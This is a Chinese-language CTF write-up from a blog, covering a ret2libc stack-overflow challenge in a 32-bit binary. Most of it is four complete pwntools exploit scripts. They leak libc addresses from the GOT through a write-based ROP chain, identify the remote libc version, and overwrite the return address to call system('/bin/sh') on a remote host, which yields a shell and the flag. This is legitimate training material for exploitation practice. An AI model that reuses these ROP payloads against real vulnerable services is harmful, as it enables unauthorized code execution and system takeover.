• 赛博杯-HMI流水灯-stack


    stack(ret2libc)

    分析

    首先checksec一下,发现没开栈保护,可能是栈溢出。

    [*] '/root/Desktop/bin/pwn/stack_/stack'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    用IDA32把所有函数看了一遍发现函数gee的read可以利用一下。

    大致思路

    先获取libc库版本,通过泄露printf的真实地址得到偏移,

    从而知道system函数和'/bin/sh'的真实地址。通过栈溢出覆盖返回地址为system函数从而拿到shell。

    Tip:ldd stack查看libc库版本
    

    第一次的exp如下

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    __Author__ = "LB@10.0.0.55"
    from pwn import *
    #context.log_level = "debug"
    
    io = process('./stack')
    #io = remote('10.4.21.55',9012)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    elf = ELF('./stack')
    
    print_got_addr = elf.got['printf']
    write_plt_addr = elf.plt['write']
    gee_addr = elf.symbols['gee']
    
    payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
    io.send(payload1)
    
    while 1:
    	temp = io.recvline()
    	print temp[0]
    	if temp[0] in '.*IWx1b':
    		pass
    	else:
    		print_addr = u32(temp[0:4])
    		print("get")
    		break
    
    print hex(print_addr)
    offset = print_addr - libc.symbols['printf']
    print hex(offset)
    sys_addr = offset + libc.symbols['system']
    bin_sh_addr = offset + libc.search('/bin/sh').next()
    
    payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
    io.sendline(payload2)
    
    io.interactive()
    

    在本地跑没毛病,但是一到远程就EOF,调了几次还是一脸懵逼,在我一直追问M4x师傅之后他说远程的libc和本地不一样。

    这里分享个小trick:在libc版本正确的前提下,得到的libc_base的后三位均为0。

    如下图

    2

    第二次尝试用DynELF跑

    结果发现由于这题的一些缘故跑地贼慢,根本跑不出来,但还是把exp放出来,以供以后参考。

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    __Author__ = "LB@10.0.0.55"
    from pwn import *
    import binascii
    #context.log_level = "debug"
    
    io = process('./stack')
    #io = remote('10.4.21.55',9012)
    elf = ELF('./stack')
    
    print_got_addr = elf.got['printf']
    write_plt_addr = elf.plt['write']
    gee_addr = elf.symbols['gee']
    
    def leak(address):
    	payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
    	io.sendline(payload)
    	while 1:
    		temp = io.recvline()
    		print temp[0]
    		if temp[0] in '.*IWx1b':
    			pass
    		else:
    			data = temp[0:4]
    			print "%#x => %s" % (address, (data or '').encode('hex'))
    			print("get")
    			break
    	return data
    
    dynelf = DynELF(leak, elf=ELF('stack'))
    sys_addr = dynelf.lookup("system", "libc")
    print "systemAddress:", hex(sys_addr)
    
    io.interactive()
    io.close()
    

    第三次我是通过泄露printf和write函数的真实地址

    然后在https://libc.blukat.me这个网址找到对应的libc版本以及相应函数的libc地址。

    leak_libc如下

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    __Author__ = "LB@10.0.0.55"
    from pwn import *
    import binascii
    context.log_level = "debug"
    
    #io = process('./stack')
    io = remote('10.4.21.55',9012)
    elf = ELF('./stack')
    
    print_got_addr = elf.got['printf']
    write_got_addr = elf.got['write']
    write_plt_addr = elf.plt['write']
    
    gee_addr = elf.symbols['gee']
    
    def leak(address):
    	payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
    	io.sendline(payload)
    	while 1:
    		temp = io.recvline()
    		if temp[0] in '.*IWx1b':
    			pass
    		else:
    			data = u32(temp[0:4])
    			print("get")
    			break
    	return hex(data)
    
    print 'print_addr:'
    print_addr = leak(print_got_addr)
    print print_addr
    print 'write_addr'
    write_addr = leak(write_got_addr)
    print write_addr
    
    io.interactive()
    io.close()
    

    exp如下:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    __Author__ = "LB@10.0.0.55"
    from pwn import *
    #context.log_level = "debug"
    
    #io = process('./stack')
    io = remote('10.4.21.55',9012)
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    #libc6_2.23-0ubuntu9_i386
    elf = ELF('./stack')
    
    print_got_addr = elf.got['printf']
    write_plt_addr = elf.plt['write']
    gee_addr = elf.symbols['gee']
    
    payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
    io.send(payload1)
    
    while 1:
    	temp = io.recvline()
    	print temp[0]
    	if temp[0] in '.*IWx1b':
    		pass
    	else:
    		print_addr = u32(temp[0:4])
    		print("get")
    		break
    
    print hex(print_addr)
    #line = raw_input()
    
    libc_print = 0x049670
    libc_sys =  0x03ada0
    libc_bin = 0x15b9ab
    
    offset = print_addr - libc_print
    print hex(offset)
    sys_addr = offset + libc_sys
    bin_sh_addr = offset + libc_bin
    
    payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
    io.sendline(payload2)
    
    io.interactive()
    #flag{lan de xiang flag}
    

    >###作者: LB919 >###出处:http://www.cnblogs.com/L1B0/ >###如有转载,荣幸之至!请随手标明出处;
  • 相关阅读:
    Windows10系统PHP开发环境配置
    hexo博客MathJax公式渲染问题
    js获取单选框和复选框的值并判断值存在后允许转跳
    Google HTML/CSS 编码规范
    js阻止表单提交的两种方法
    php下安装动态扩展库的相关事项
    PHP程序员的职业规划,走进PHP后端工程师的世界
    allen今天来开通我的程序员的博客
    ajax
    jQuery语法
  • 原文地址:https://www.cnblogs.com/L1B0/p/8393950.html
Copyright © 2020-2023  润新知